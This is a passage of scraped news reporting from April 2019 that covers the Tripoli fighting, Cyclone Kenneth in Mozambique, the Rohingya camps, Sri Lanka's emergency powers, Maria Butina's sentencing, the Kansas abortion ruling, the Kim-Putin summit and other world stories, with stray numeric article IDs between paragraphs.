a statement on Wednesday. At least 12 refugees required hospital treatment after being attacked, the UN said. About 3,000 refugees and migrants are trapped in detention centres in Tripoli, according to the UN, and remain at risk from the deteriorating security situation around the capital. Many of the detainees fled war and persecution in their home countries. Clashes continue Meanwhile, a Reuters news agency reporter in the suburb of Ain Zara, also in southern Tripoli, saw heavy clashes, with both sides using artillery and anti-aircraft guns. Forces loyal to the government in Tripoli have managed to push back the LNA on some southern front lines, though the LNA was still fighting in southern Tripoli. The Tripoli forces have gained ground in some parts of Ain Zara. Gunfire rang through a narrow street packed with pick-up trucks mounted with anti-aircraft guns as fighters allied to Tripoli forces shouted: Haftar, we are coming. 190425113115453 One fighter from Zintan, a region west of the capital, was firing his anti-aircraft gun for several minutes. Later, he was killed by an incoming rocket, his comrades told Reuters. Two others from the same armed group died later as shelling from the battle in southern suburbs could be heard in central Tripoli late at night, witnesses said. The LNA still holds the forward base of Gharyan, a town 80km south of Tripoli, which is difficult to take due to its mountainous terrain. Hospitals are struggling with a chronic shortage of medical supplies amid power outages and weakened water pumping stations, the aid agency said in a statement after three weeks of clashes. It is crucial that hospitals, medical facilities, health staff and vehicles transporting the wounded are allowed to carry out their activities safely, said the International Committee of the Red Cross in a statement. The World Health Organization said on Twitter that 278 people have been killed in the last three weeks, while 1,332 others have been wounded. Official says 30,000 people evacuated as second cyclone in six weeks batters Mozambique. A powerful tropical cyclone has made landfall in Mozambique, just six weeks after Cyclone Idai devastated the central part of the country and left hundreds dead. Cyclone Kenneth battered northern Mozambique with sustained winds of up to 220 kilometres per hour late on Thursday after killing three people on the island nation of Comoros overnight. Impoverished Mozambique is still recovering from the previous powerful storm, which made landfall further south last month, flattening the port city of Beira and killing more than 1,000 people across a vast swath of southeastern Africa. 190404170952343 A spokesman for Mozambiques National Institute of Disaster Management (INGC) said the government has evacuated more than 30,000 people from areas likely to hit by the cyclone. The compulsory evacuation process will continue until we have all people on secure ground, said Paulo Tomas. The INGC said it had supplies ready to assist 140,000 people for 15 days. The UN World Food Programme said the cyclone was expected to bring heavy rains in the area, with more than 600 millimetres rainfall expected. That volume of rain would be nearly double the 10-days accumulated rainfall that caused flooding in Beira during Cyclone Idai. Forecasters at Meteo-France warned that Kenneth could trigger waves off Mozambiques northeastern shore as much as five metres higher than usual. I was quite preoccupied by the sea because they announced six metre waves the wind was very strong, and Ive never seen anything like it in my 15 years in Pemba, a Portuguese owner of a lodge on Wimby beach, Anabela Moreira, told AFP news agency. Another local, Jonas Wazir told AFP that he noticed that some precarious houses had fallen down. Weather the storm This is the first time in known history that Mozambique has been hit by two cyclones in one season, United Nations spokesman Stephane Dujarric told reporters in New York on Thursday. The new cyclone threatens an area of Mozambique where residents are not used to such strong storms, the UN humanitarian agency said. That includes Cabo Delgado province, which has seen a rise in deadly armed attacks in recent months. More than 680,000 people were at risk from the latest storm, according to officials. There were concerns that five rivers and coastal waterways could burst their banks, leading to severe flooding. In Tanzania, the government told students and workers in the southern regions of Lindi, Mtwara and Ruvuma to stay at home but said people living near the coast should evacuate. The UN, the Red Cross and other aid organisations were bracing for what could be another large relief operation, again in mostly rural areas. Although floodwaters have receded in most areas affected by Cyclone Idai, access is still a challenge as infrastructure was severely compromised, UN World Food Programme spokesman Herve Verhoosel said in a statement. Another storm would be an additional blow for the people of Mozambique and further complicate the response in all areas. He said the agency has 300 metric tonnes of food commodities already positioned in Mozambiques northern coastal towns of Palma and Mocimboa da Praia and that its local partner has been told to protect the warehouses to weather the storm. The UN called Cyclone Idai one of the deadliest storms on record in the southern hemisphere, and another major storm again raised concerns about climate change. Cyclone Idais effects will be felt for months, if not years. Even as authorities say a cholera outbreak is being contained, malaria is a growing concern. More than 14,800 cases have been reported since March 27 in the hard-hit province of Sofala alone, the UN childrens agency said. At least one killed as second powerful cyclone in six weeks strikes Mozambique. Cyclone Kenneth has killed at least one person and left a trail of destruction in northern Mozambique, destroying houses, ripping up trees and knocking out power, authorities said on Friday. The cyclone brought storm surges and wind gusts of up to 280km per hour when it made landfall on Thursday evening, after killing three people in the island nation of Comoros. It was the most powerful storm on record to hit Mozambiques northern coast and came just six weeks after Cyclone Idai battered the impoverished nation, causing devastating floods and killing more than 1,000 people across a swath of Southern Africa. 190425182138888 The World Food Programme warned that Kenneth could dump as much as 600mm of rain on the region over the next 10 days twice of that brought by Cyclone Idai. One woman in the port town of Pemba died after being hit by a falling tree, the Emergency Operations Committee for Cabo Delgado (COE) said in a statement, while another person was injured. In rural areas outside Pemba, many homes are made of mud. In the main town on the island of Ibo, 90 percent of the houses were destroyed, officials said. Around 15,000 people were out in the open or in overcrowded shelters and there was a need for tents, food and water, they said. There were also reports of a large number of homes and some infrastructure destroyed in Macomia district, a mainland district adjacent to Ibo. A local group, the Friends of Pemba Association, had earlier reported that they could not reach people in Muidumbe, a district further inland. Mark Lowcock, United Nations undersecretary-general for humanitarian affairs, warned the storm could require another major humanitarian operation in Mozambique. Cyclone Kenneth marks the first time two cyclones have made landfall in Mozambique during the same season, further stressing the governments limited resources, he said in a statement. Flood warnings Shaquila Alberto, owner of the beach-front Messano Flower Lodge in Macomia, said there were many fallen trees there, and in rural areas, homes had been damaged. Some areas of nearby Pemba had no power. Even my workers, they said the roof and all the things fell down, she said by phone. 190425160159439 Further south, in Pemba, Elton Ernesto, a receptionist at Raphaels Hotel, said there were fallen trees but not too much damage. The hotel had power and water, he said, while phones rang in the background. The rain has stopped, he added. However, Michael Charles, an officer for the International Federation of the Red Cross and Red Crescent Societies (IFRC), said heavy rains over the next few days were likely to bring a second wave of destruction in the form of flooding. The houses are not all solid, and the topography is very sandy, Charles said. In the days after Cyclone Idai, heavy inland rains prompted rivers to burst their banks, submerging entire villages, cutting areas off from aid and ruining crops. There were concerns the same could happen again in northern Mozambique. Before Kenneth hit, the government and aid workers moved around 30,000 people to safer buildings such as schools. However, authorities said about 680,000 people were in the path of the storm. Top UN officials call for generosity from world to help Rohingya refugees in Bangladesh camps. Top United Nations officials have urged the international community not to forget the plight of Rohingya refugees in Bangladesh and called for global support to ensure their safe and voluntary return to Myanmar. Speaking to reporters following a visit to refugee camps in Bangladeshs Coxs Bazar on Friday, Mark Lowcock, the UU under-secretary-general for humanitarian affairs, said the body was seeking to raise nearly a billion dollars to help the Rohingya refugees and their host community. More than 700,000 members of the persecuted minority fled Myanmar following a brutal military crackdown in response to attacks by a Rohingya armed group. More than 1.2 million now live in overcrowded and squalid refugee camps in southeastern Bangladesh. Lowcock said the great exodus of Rohingya refugees arriving at Coxs Bazar caused all sorts of issues. 190426103953188 Our main message is to the wider world: do not forget the Rohingya, do not forget the generosity of the people and institutions and government of Bangladesh, and be generous in supporting both the Rohingya and Bangladesh, he said. Filippo Grandi, UN high commissioner for refugees, who accompanied Lowcock, said the Rohingya refugee crisis should not turn into a forgotten crisis. This remains one of the worlds biggest refugee crises, said Grandi. I saw a great deal of progress, but their situation, especially for women and children, remains fragile. With the current crisis almost two years on we must give refugees the chance to learn, build skills and contribute to their communities while also preparing for reintegration when they can return to Myanmar, he added. Its very clear: Nobody has gone back because many of those reasons that pushed them out of the country have not yet been addressed. Monsoon season 190405120651039 The officials also highlighted the need for stronger infrastructure in the camps in the upcoming cyclone period. AK Abdul Momen, Bangladeshs foreign minister, who met with the UN officials, reiterated his governments plan to move some 100,000 refugees to the remote island of Bhasan Char, a move opposed by many refugees. We have information that this year there may be more rain and that may cause landslides, Momen told reporters. Bhasan Char island is now prepared and we can start to relocate Rohingya before the monsoon to avert any casualties in the coming monsoon, he said. Some human rights groups have expressed concerns over that plan because the island is remote and prone to devastation from cyclones. Separately, the International Crisis Group (ICG) said criminal gangs and fighters were now operating openly in the Rohingya refugee camps, committing killings and abductions with impunity. The conflict research group, in a new report on Thursday, called for Bangladesh to toughen its police presence. Threats from fighters from the Arakan Rohingya Salvation Army, whose attacks triggered the Myanmar military campaign, had left Rohingya leaders fearful for their lives and that frequent murders were rarely investigated, according to the ICG. Refugees express serious concerns about their personal security, and militants and gangs are intimidating, kidnapping and killing with impunity, the report said. Murders and other forms of violence are an almost nightly occurrence and perpetrators have almost never been brought to justice. Zaatari camp in Jordan near the Syrian border is home to almost 80,000 refugees 40 percent of them aged under 11. They often start out as temporary shelters for people fleeing war, food shortages and famine but then spread out to become massive refugee camps. In a new series A Life Displaced Al Jazeera takes a closer look at the plight of refugees worldwide, starting in Jordan. The Zaatari refugee camp is home to 80,000 refugees from the war in neighbouring Syria. Al Jazeeras Bernard Smith reports. State of emergency in wake of Easter Sunday attacks grants security forces sweeping powers, sets new media restrictions. Shortly after a spate of bombings tore through churches and hotels in Sri Lanka on Easter Sunday, the countrys Prime Minister Ranil Wickremesinghe admitted that a top police official had warned the government of impending attacks on the countrys Christian minority. The information was there, he told reporters a day after the attacks which killed more than 250 people. But adequate precautions were not taken, he said. Amid mass burials and growing public anger over the intelligence failures, Sri Lankas President Maithripala Sirisena announced a nationwide state of emergency the first time such measures were imposed throughout the country since 2011, two years after the end of a 26-year civil war against Tamil separatists. The 33-page declaration granted security forces sweeping powers of search and arrest and included curbs on press freedom. Authorities had already imposed a social media ban and a nighttime curfew in the wake of the suicide bombings the worst violence to hit the country since the military defeat of the Tamil rebels in 2009. By Friday, Sirisena, who is embroiled in a long-running power struggle with his prime minister, pledged that every household in Sri Lanka would be checked as part of the investigation into the attacks. 190422110652434 Both Sirisena and Wickremesinghe said they were not warned of the attacks, claimed by the Islamic State of Iraq and the Levant (ISIL or ISIS). The government has accused two obscure Muslim groups of being involved in the attacks, and is investigating international involvement in the blasts. More than 70 suspects have now been arrested and security forces on Friday seized more bomb-making material in raids in the countrys east. Historic misuse of powers The moves may reassure some, but amid the apparent government dysfunction, analysts and human rights experts said they are concerned about the expansive emergency powers. Sri Lanka has faced a brutal attack and should arrest and prosecute those responsible [but] it is crucial that promoting security does not come at the cost of compromising on civil liberties, said Meenakshi Ganguly, South Asia director at Human Rights Watch (HRW). Laws have been misused in the past to crack down on critics, harming civil society efforts to uphold human rights, she added. Buddhist-majority Sri Lanka was under a state of emergency for nearly three decades while beset by civil war, during which government forces and rebel fighters carried out widespread human rights abuses, including extrajudicial killings, enforced disappearances and torture. Up to 100,000 people died in that conflict. People come to the site of a mass burial to pay their respects to victims of Easter Sunday bombings [Athit Perawongmetha/ Reuters] Emergency regulations were in place near continuously from 1971 to 2011 [and] granted sweeping powers to search, arrest and detain, which led to serious human rights violations, Ganguly said. The new emergency decree permits Sirisena to ban public assembly and allows security forces to hold suspects for up to 90 days without a court warrant. Under the new rules, authorities also have the power to restrict the publication of something deemed prejudicial to national security or the preservation of public order. Additionally, officials can request material be submitted to them before publication, potentially enabling prior censorship, and shut down any newspapers deemed to contravene the rules concerning publishing rights. Press freedom Alan Keenan, Sri Lankas project director at the International Crisis Group, said there was reason for serious concern at the broad scope of new offences declared in the emergency regulations. Many previously legal activities have been criminalised based on a broad and ill-defined notion of national security, and there are real risks that media freedom and the democratic rights of assembly could be unduly restricted, especially given the absence of independent oversight procedures, he said. 190421092621543 Gehan Gunatilleke, a human rights law researcher at the University of Oxford in the United Kingdom, said the curbs on publishing amount to excessive regulation of the media. [This] is problematic because they [the rules] can be directed at independent sources of information, and particularly against those who legitimately criticise the state for its inaction and incompetence, Gunatilleke said. Neither incitement to violence nor the planning of new attacks happen via newspapers, so there is no real security rationale behind regulating such publications; it seems the state is more interested in preventing criticism, he added. Under the regulations, coverage of the intelligence failures could land publishers in hot water, said Gunatilleke. The document that was leaked to the press revealing the intelligence failure and incompetence of the security establishment falls within the scope of the new regulations, [so] publishing such a document would now become an offence, he warned. Ripe for abuse Amid the continued tensions it is unclear how long the state of emergency will last. Sri Lankan law says the decree will end after 30 days unless the countrys parliament opts to extend it. In March 2018, Sirisena imposed emergency rule for 12 days in the central district of Kandy because of communal violence, but given the scale of the Easter Sunday bombings, some fear the expanded powers might be in place for some time yet. Keenan, at the International Crisis Group, called for the measures to be rolled back as soon as the current period of uncertainty and insecurity has ended. One can hope that the government will avoid the abuses of past emergency and limit its use of the new powers to only those absolutely essential to protect citizens against real threats, Keenan said. What Sri Lankans ultimately need to be safe are effective and non-politicised police and intelligence services not expanded powers ripe for abuse by political leaders who have lost the trust of the people. US Democratic politicians on Thursday sought documents on Trump administration firings of top officials at the Department of Homeland Security (DHS), saying they were concerned the dismissals were prompted by the officials refusal to break the law. Three United States House of Representatives committee chairmen sent a letter to DHS asking for documents related to actions by Republican President Donald Trump and top aide Stephen Miller to remove senior leaders at the agency. They expressed concern that the firings and forced resignations earlier this month put US national security at risk. We are also concerned that the president may have removed DHS officials because they refused his demands to violate federal immigration law and judicial orders, the politicians said in a statement. They said they were troubled by reports that Trump wants to put Miller, who has spearheaded many of his hardline immigration policies, in charge of all immigration and border affairs. They cited reports that Miller called several DHS officials to exert pressure on them to follow on extreme immigration policy decisions, according to the statement from US Representatives Elijah Cummings, chairman of the House Oversight and Reform Committee, Jerrold Nadler, chairman of the House Judiciary Committee and Bennie Thompson, chairman of the House Committee on Homeland Security. All three are Democrats. Homeland Security Secretary Kirstjen Nielsen resigned under pressure this month, followed by several other leaders at the sprawling department that includes Customs and Border Protection and Immigration and Customs Enforcement (ICE). WH refuses request for Miller to testify Meanwhile on Thursday, the White House refused a request for Miller to testify to Congress. In a letter on Wednesday to the House Oversight Committee, the White House said Miller would not testify before the panel about Trump immigration initiatives, including the policy of separating migrant children from their parents and his threat to send undocumented immigrants to so-called sanctuary cities. In accordance with long-standing precedent, we respectfully decline the invitation to make Mr Miller available for testimony before the committee, the White House counsel said in the letter, which was provided to Reuters News Agency on Thursday. 190424070539230 The refusal is part of a wider pushback by the Republican president against legal requests from the Democratic-led House, which is conducting several investigations of his administration, including his tax returns, White House security clearances and possible obstruction of justice by Trump. Cummings on Wednesday accused Trump of an unprecedented, and growing pattern of obstruction after he ordered federal employees not to comply with congressional investigations. Cummingss office confirmed it had received the letter, first reported by CNN, but had no immediate comment. Cummings on April 17 invited Miller to testify voluntarily about why the administration decided to separate immigrant children from their parents at the border. Cummings also called for an explanation of transferring asylum seekers to sanctuary cities as a form of illegal retribution against your political adversaries, and firing top administration officials who refuse orders to violate the law. 190408043111865 Trump has said he is considering sending undocumented immigrants in the country to jurisdictions that have adopted some form of sanctuary city policies in which they refuse to use their resources to help federal agents enforce deportations. Miller, a former Senate aide, has helped shape some of Trumps most controversial immigration policies, from the first travel ban that targeted several Muslim-majority countries to the child separation policy, both of which were rejected by courts. The oversight panel could exercise its power to subpoena Miller, but the White House could invoke executive privilege to protect his discussions with Trump. Members of more than 300 indigenous groups protest against the right-wing government of Jair Bolsonaro. Brasilia, Brazil Thousands of indigenous people marched in the Brazilian capital of Brasilia on Friday to protest against the administration of far-right President Jair Bolsonaro. More than 2,000 people occupied the citys main avenue, stopping traffic for more than three hours. Holding banners and arrows, burning sage and painting their faces red and black, the crowd marched to the Ministry of Health and the Ministry of Justice to demand more land rights and access to public services. Sonia Guajajara, coordinator of the Articulation of the Indigenous People of Brazil (APIB) held a Brazilian flag stained with red paint. She told Al Jazeera it represented the blood of the Brazilian people, marked by the genocide of the indigenous peoples. A group of indigenous people led the march with a banner that read not one more drop of indigenous blood. The group protested against Bolsonaros decision to eliminate the Special Secretary for Indigenous Health (SESAI) that previously oversaw the healthcare issues for indigenous groups. Local councils are now responsible for providing healthcare access to the native communities. Guajajara called the decision shameful and just another example of Bolsonaros attacks. Guajajara holds a Brazilian national flag stained in red [Mia Alberti/Al Jazeera] 190425120740156 Outside the Ministry of Justice, protesters demanded the reversal of the Provisional Measure 870, which dismantled the National Foundation for the Indigenous (FUNAI), the government body previously responsible for protecting native groups. Under the measure, some of FUNAIs responsibilities were moved to the Ministry of Agriculture and the Human Rights Office. The crowd was met by police officers, who had blocked off the buildings entrance. Dozens of demonstrators jumped into the lake around the building, dancing and chanting with their children and elderly. Inside, a delegation met with the chief of staff for the minister to demand FUNAI to be reinstated in full by the cabinet. Marcos Xukuru, chief of the Xukuru people from the state of Pernambuco, told reporters after the meeting the ministry was open to talk and to schedule a meeting with the indigenous organizations of Brazil as soon as [officials] receive the document with all our demands. He later told Al Jazeera that his people were in Brasilia to protest against the random and dangerous indigenous policies of Bolsonaros government. 190424182035658 They are taking our medicine, health coverage, health workers, and it was FUNAI that helped us with this, said Manuel Atukim, from the Atukim people in Pernambuco state. FUNAI is ours, we cant let it die, he told Al Jazeera. The march was part of an annual three-day Free Land Camp, which started on Wednesday. Since the election of Bolsonaro last year, indigenous groups have documented an increase in the number of land grabs and violent attacks. An indigenous woman stands in the fountain area of a government building during a protest march to defend indigenous land and rights in Brasilia [Carl de Souza/AFP] The presidents office did not respond to Al Jazeeras request for comment regarding allegations by the indigenous that his government is attacking their rights. Atukim said he is hopeful the government will hear their demands. We are not going to let our culture, that comes from our ancestors, to be taken from someone who does not belong to us, he said. We are going to fight until the end of our lives. Killing of journalist by paramilitary group in Londonderry spurs action to resolve political deadlock in Belfast. Britain and Ireland have announced a new round of talks with the main political parties in Northern Ireland in a bid to restore Belfasts collapsed government. In a joint statement on Friday, British Prime Minister Theresa May and her Irish counterpart Leo Varadkar said the talks will begin next week after local elections are held in the region. Northern Ireland has not had a government for two years, since the Irish nationalist Sinn Fein party withdrew from a compulsory power-sharing agreement with the pro-British Democratic Unionist Party (DUP). But the killing of 29-year-old journalist Lyra McKee during a riot last week by the New IRA, an Irish nationalist paramilitary group, has increased pressure on political parties and the British and Irish governments to resolve the political crisis. In coming together with other political leaders in St Annes Cathedral to pay tribute to Lyra McKee, we gave expression to the clear will and determination of all of the people of these islands to reject violence and to support peace, May and Varadkar said in a joint statement. We also heard the unmistakable message to all political leaders that people across Northern Ireland want to see a new momentum for political progress. We agree that what is now needed is actions and not just words from all of us who are in positions of leadership. The aim of the talks was to quickly re-establish the full operation of the institutions with progress to be reviewed at the end of May, they said. The New IRA, which violently opposes the peace process in Northern Ireland, admitted one of its members killed McKee, saying she was accidentally shot as they attacked police officers. At McKees funeral on Wednesday, Father Martin Magill praised Northern Irelands political leaders for coming together but received a standing ovation when he asked: Why in Gods name does it take the death of a 29-year-old woman with her whole life in front of her to get us to this point? The two biggest parties in Northern Ireland are supposed to govern in a compulsory power-sharing agreement reached in 1998 to end decades of conflict. The agreement broke down in January 2017 over a range of issues, including rights for Irish-language speakers. 190420070803896 Both the DUP and Sinn Fein have blamed each other for the political paralysis, as several rounds of talks have failed to produce an agreement. The talks most recently collapsed in February last year. The death of Lyra McKee has certainly sparked off a wave of emotion right across society here, journalist Eamonn McCann told Al Jazeera from Londonderry, also known as Derry. But its a bit early to say that this wave of emotion is going to carry us to peace, or carry us to a new political settlement. There is no doubt that there is a great yearning for new thinking, for something that can be done differently. One of the problems is that, if you look at the two main political leaderships, there is no indication at all that either of these parties are changing their basic beliefs. And their basic beliefs are divided from one another, he said. Attempts to find an agreement have been complicated by the DUPs role in propping up Mays minority government in London and the impact on the region of Britains planned exit from the European Union. Butina, who asked for leniency at Fridays hearing, will be deported to Russia after completing her sentence. Admitted Russian agent Maria Butina was sentenced to 18 months in United States prison on Friday after the Siberia native, her voice breaking with emotion, begged a judge for mercy and expressed remorse for conspiring with a Russian official to infiltrate a gun rights group and influence US conservative activists and Republicans. US District Court Judge Tanya Chutkan imposed a sentence that matched the prison term prosecutors requested and also agreed to have Butina, 30, deported back to Russia after she completes her term. The sentence included the nine months Butina has already served in jail since her July arrest, meaning she has about nine more months behind bars. Lawyers for Butina, a former graduate student at the American University in Washington, who publicly advocated for gun rights, had asked the judge to impose a sentence of time served and let her return to Russia. Clad in a green prison jumpsuit, Butina implored Chutkan for leniency, calling her dear judge. For all the international scandal my arrest has caused, I feel ashamed and embarrassed. My parents taught me the virtue of higher education, how to live life lawfully, and how to be good and kind to others, Butina said. I have three degrees, but now Im a convicted felon with [no] job, no money and no freedom, Butina added, referring to her academic degrees. 181213160238361 Butina pleaded guilty in December to one count of conspiring to act as a foreign agent and agreed to cooperate with prosecutors. Infiltrating the NRA The case marked another irritant in the fraught US-Russian relations. This was no simple misunderstanding by an over-eager foreign student, Chutkan said before imposing the sentence. Butina admitted to conspiring with a Russian official and two Americans from 2015 until her arrest to infiltrate the National Rifle Association (NRA), a group closely aligned with US conservatives and Republican politicians including US President Donald Trump, and create unofficial lines of communication to try and shape Washingtons policy towards Moscow. By coincidence, Trump addressed the NRAs annual meeting in Indianapolis about an hour after Butinas sentencing, drawing enthusiastic cheers by announcing that the United States would abandon an international treaty regulating conventional arms sales. Prosecutors said while Butina did not engage in traditional spycraft, she worked behind the scenes to make inroads in conservative political circles and promote warmer US-Russian relations amid persistent tensions between the two powers. She arranged dinners in Washington, DC, and New York and attended events to meet high-profile politicians. Alexander Torshin, a deputy governor of Russias central bank, was the Russian official mentioned in the case. Torshin was not charged. 190122133408028 Butinas case was separate from Special Counsel Robert Muellers investigation of Moscows interference in the 2016 US election, which detailed numerous contacts between Trumps campaign and Russia. Her activities, though, occurred during the same period as the contacts investigated by Mueller. I am responsible Until Friday, Butina had made no major public comments since her arrest. Her remarks ran counter to the Kremlins account of Butina being forced by the US to falsely confess to the ridiculous charge of being a Russian agent. I destroyed my own life, Butina told the judge. While I know I am not this evil person who has been depicted in the media, I am responsible for these consequences, Butina added. Now I beg for mercy, for the chance to go home and restart my life, she said. Her lawyers downplayed her crime as a simple failure to notify the Justice Department of her activities on Russias behalf. If I had known to register as a foreign agent, I would have done so without delay, Butina told the judge. I just didnt register because I didnt know to. Prosecutor Erik Kenerson told the court Butinas activities were more serious. This is not a registration offence, Kenerson said. This is a case where the defendant acted in the United States as an agent of the Russian government. Chutkan said, determining Butinas sentence was far more complicated than most cases. The 18 months recommended by prosecutors that Chutkan adopted were less than they could have sought, reflecting Butinas cooperation after her guilty plea that she said included speaking to a congressional committee, the FBI and federal prosecutors. 190426190025635 Reuters previously reported Butina was a public Trump supporter who bragged at Washington parties that she could use her political connections to help people land jobs in his administration. One of the two Americans referenced by prosecutors was Butinas then-boyfriend Paul Erickson, a conservative political activist. Erickson was not charged in the case but faces wire fraud and money laundering charges in a separate prosecution in South Dakota. Many of Butinas meetings were documented on her social media pages, with photos of her at NRA conferences, a high-profile annual prayer breakfast in Washington, and posing with dignitaries including Republican former Wisconsin Governor Scott Walker, a 2016 presidential candidate. The highest court in the US state of Kansas ruled for the first time on Friday that the states constitution protects abortion rights and blocked a first-in-the-nation ban on a common second-trimester method for ending pregnancies. The state Supreme Courts ruling represented a big victory for abortion rights supporters in a state with a Republican-controlled Legislature hostile to their cause. It comes with other Republican-controlled states moving to ban most abortions in direct challenges to the US Supreme Courts historic 1973 Roe v Wade decision legalising abortions across the nation. The Kansas decision prevents the state from enforcing a 2015 law that could have greatly limited second-trimester abortions. The ruling also clears the way for legal challenges to a string of abortion restrictions approved in recent years by state legislators under past Republican governors. The court said vague language in the Kansas Constitution guaranteeing individual rights protects a womans right to obtain an abortion independent of the US Constitution. Kansas courts could, therefore, strike down restrictions that have been upheld by the federal courts. The ruling is certain to prompt abortion opponents to push to amend the states constitution. 190123154813019 Democratic Governor Laura Kelly, who took office in January, is a strong abortion-rights supporter, but the Legislature still has solid anti-abortion rights majorities. In previous cases, Kansass highest court avoided the question, allowing US Supreme Court decisions to determine what restrictions would be allowed. But a state district court judge ruled in blocking the 2015 law that the Kansas Constitution grants its own protections. Reproductive rights groups have said US President Donald Trump has waged a war against them, employing policies that have harmed womens right to choose. Since taking office, Trump has reinstated and expanded the Global Gag Rule, which bans international organisations that receive US funding from providing abortion services or offering information about the procedure. Natural rights The decision comes two years after the Kansas court heard arguments from attorneys, an unusually long delay for a ruling. Iowas Supreme Court issued a similar decision in 2018. The Kansas Bill of Rights says residents have natural rights including life, liberty and the pursuit of happiness and that free governments were created for their equal protection and benefit. The states lawyer argued there is no evidence that when the Kansas Constitution was written in 1859, its drafters contemplated abortion rights. In the Kansas Territory, abortion was illegal except to save a womans life, and that policy carried over in the new states laws. The Kansas law at issue would bar physicians from using forceps or similar instruments on a live fetus to remove it from the womb in pieces, using the non-medical term dismemberment abortion to describe the procedure. Such instruments are commonly used in dilation and evacuation procedure, which the Center for Reproductive Rights has described as the safest and most common abortion procedure in the United States in the second trimester. The Kansas law was model legislation drafted by the National Right to Life Committee. The group said similar bans have been enacted in 10 other states Oklahoma, West Virginia, Mississippi, Alabama, Louisiana, Arkansas, Texas, Kentucky, Ohio and North Dakota. 190222191710020 Abortion providers reported performing 484 dilation and evacuation procedures in Kansas in 2018, according to state health department statistics. That was 6.9 percent of the states total abortions; most pregnancies were terminated during the first trimester. The lawsuit against the Kansas law was filed by Dr Herbert Hodes and Dr Traci Nauser, a father and daughter who operated a womens health centre together in the Kansas City suburb of Overland Park. Hodes has since retired. After the district judges ruling put the law on hold, the Kansas Court of Appeals split 7-7, allowing the judges decision to stand. Talks between North Korea and US over sanctions and denuclearisation ended abruptly in February. The United States acted in bad faith in Vietnam where President Donald Trump and his team held talks with North Korea, its leader Kim Jong Un said during a summit with Russian President Vladimir Putin. Trump and Kim met in Hanoi in February but the talks ended abruptly and a joint-signing ceremony was cancelled. Trump said North Koreas demand that the US lift economic sanctions in their entirety forced his team to walk away from reaching an agreement. North Korean officials denied they demanded sanctions to be removed entirely. On Thursday, at his first summit with Russias Putin in the far eastern Russian port of Vladivostok, Kim said the situation on the Korean Peninsula and the region is now at a standstill and has reached a critical point, the Korean Central News Agency reported. The North Korean leader also warned that the situation may return to its original state as the US took a unilateral attitude in bad faith at the recent second DPRK-US summit talks. Peace and security on the Korean peninsula will entirely depend on the US future attitude, and the DPRK will gird itself for every possible situation, KCNA quoted Kim as saying. Russia has already called for the sanctions to be eased, while the US has accused it of trying to help Pyongyang evade some of the measures accusations Moscow denies. Just a week ago, Pyongyang demanded the removal of US Secretary of State Mike Pompeo from the stalled nuclear talks, accusing him of derailing the process. On Thursday, Putin emerged from the meeting saying that like Washington, Moscow supported efforts to reduce tension on the Korean Peninsula and prevent nuclear conflicts. But he also insisted that the North needed guarantees of its security, the preservation of its sovereignty. We need to return to a state where international law, not the law of the strongest, determines the situation in the world, said Putin. Analysts say the true purpose of Kims visit to Russia was a chance to leave himself some wiggle room when talks with the US resume and to use Russia as the bogeyman if Trump goes too far with his threats. This is the breakthrough the [North] Korean side needed to tell the US: Look, we have normal ties with Moscow, if something happens, we will run to them for protection, stop waving your fists,' Dmitry Zhuravlev, director general of the Institute of Regional Issues, a Moscow think-tank, told Al Jazeera. Moscow still has veto power in the United Nations Security Council, and it wants to play a role in anything related to North Korea. The nations share a border, and Russia serves as a workplace for at least 10,000 North Korean labour migrants, an important source of hard currency for Pyongyang. 190228160948599 Russia does not want a nuclear disaster next door, but its interest in the disarmament of North Korea is limited; the fall of the Kim dynasty would likely mean that a unified Korea becomes a US ally, and American military bases could appear next to Russias Pacific provinces. The meeting was Kims first with another head of state since returning from Hanoi. It followed repeated invitations from Putin after Kim embarked on a series of diplomatic overtures last year. Since March 2018, the North Korean leader has held four meetings with Chinese President Xi Jinping, three with South Koreas Moon Jae-in, two with Trump and one with Vietnams president. Putin told reporters that he would fill in Washington on the results of the talks. There are no secrets here, no conspiracies Chairman Kim himself asked us to inform the American side of our position, said Putin. Three weeks into the fight for control of the Libyan capital, the International Committee of the Red Cross has warned that the residential areas of Tripoli are gradually turning into battlefields. More then 30,000 people have been forced from their homes and aid workers are struggling to reach civilians in parts of the city. Meanwhile, crowds gather to mourn the capitals defenders, who have vowed to push back Khalifa Haftars forces. Al Jazeeras Mahmoud Abdelwahed reports The talks hosted by the UK foreign secretary bring together representatives of the UAE, Saudi Arabia, US and the UN. The United Kingdom Foreign Secretary, Jeremy Hunt, was set to hold a meeting on Yemen with his Saudi, and Emirati counterparts, as well as the representatives of the United States and the United Nations, amid fears that the peace process in the poorest country in the Middle East has faltered. The meeting in London on Friday is expected to discuss next steps in the UN-led process [in order] to try to prevent fragile efforts towards a political settlement from collapsing, according to a press release by the UK Foreign and Commonwealth Office (FCO). The talks will bring together Saudi Arabias Foreign Minister Abel al-Jubeir, United Arab Emirates Sheikh Abdullah bin Zayed and representatives from the US and the UN. I called this meeting so that we keep doing everything we can to move forward on the hard road to peace in Yemen, Hunt said before the meeting. This is a horrendous conflict and it is taking too long to turn the ceasefire agreed to in Stockholm into a durable path to peace, the UK foreign secretary added. 190419120508897 Yemens warring sides agreed to a ceasefire in the flashpoint city of Hodeidah during UN-sponsored talks in Sweden last year which aimed at ending more than three years of war between the Saudi-backed Yemeni government and Houthi rebels. Grave concern The warring parties also agreed to withdraw troops from the port city, the main entry point for 70 percent of imports and humanitarian aid to Yemen. But the UN Security Council (UNSC), in a statement earlier this month, expressed grave concern that the agreements have not been carried out. Each day that the war in #Yemen goes on is a day too long for the children there. More than 100 die daily from extreme hunger, Hunt said in a tweet. Each day that the war in #Yemen goes on is a day too long for the children there. More than 100 die daily from extreme hunger. Today Im meeting partners from to discuss what more we can do. Taking far too long to turn ceasefire agreements into sustainable path to peace Jeremy Hunt (@Jeremy_Hunt) April 26, 2019 The talks come after Britain said earlier this month that the UNSC should consider stronger measures if there was no progress in the coming weeks on a deal between Yemens warring parties on a key port. Yemen analysts cast doubt on the success of the meeting, however, saying that the focus of the peace talks on Hodeidah has allowed the situation to escalate in other parts of Yemen. The whole Yemen issue has been downsized into the Hodeidah agreement which doesnt seem like its going anywhere, Baraa Shiban, Middle East and North Africa Caseworker at Reprieve, told Al Jazeera. The way the [Sweden] agreement has been designed makes it solely focused on Hodeidah regardless of anything else happening. This has allowed fighting to escalate in many parts of Yemen and the Houthis to take back areas in the south, added Shiban, saying he feared Fridays meeting will do little to mitigate those developments. According to a database tracking violence in Yemen, lethal fighting continues across the country and has intensified in key governorates like Taiz and Hajjah, the group said in a statement last week. The Armed Conflict and Location Event Data Project (ACLED) also said 